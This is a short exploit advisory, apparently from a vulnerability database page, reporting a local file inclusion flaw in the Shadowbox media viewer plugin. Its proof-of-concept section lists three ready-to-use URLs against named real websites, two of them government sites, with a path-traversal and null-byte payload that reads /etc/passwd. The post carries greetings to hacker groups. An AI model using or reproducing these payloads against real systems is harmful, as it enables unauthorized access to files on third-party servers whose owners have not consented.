Shadowbox Local File Inclusion

2014.02.04
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-98

[+] Author: TUNISIAN CYBER [+] Exploit Title: Shadowbox LFI Vulnerability [+] Date: 03-02-2014 [+] Category: WebApp [+] Google Dork: : [+] Tested on: KaliLinux [+] Vendor: http://shadowbox-js.com/ [+] Friendly Sites: na3il.com,th3-creative.com ############################################################### +Description: Shadowbox is a web-based media viewer application that supports all of the web's most popular media publishing formats. Shadowbox is written entirely in JavaScript and CSS and is highly customizable. Using Shadowbox, website authors can showcase a wide assortment of media in all major browsers without navigating users away from the linking page. +Exploit: Shadowbox suffers from a LFI vulnerability +PoC:(Tested on Demo) http://www.comunidadedaesperanca.com.br/plugins/system/shadowbox/min/index.php?g=sb&ad=base&lan=en&play=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd%00 http://www.hospitalcastro.gov.cl/plugins/system/shadowbox/min/index.php?g=sb&ad=base&lan=en&play=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd%00 http://www.statehouse.gov.sl/plugins/system/shadowbox/min/index.php?g=sb&ad=base&lan=en&play=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd%00 PS: Scroll Down to see result ######################################################################################## Greets to: XMaX-tn, N43il HacK3r, XtechSEt Sec4Ever Members: DamaneDz UzunDz GEOIX ########################################################################################


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top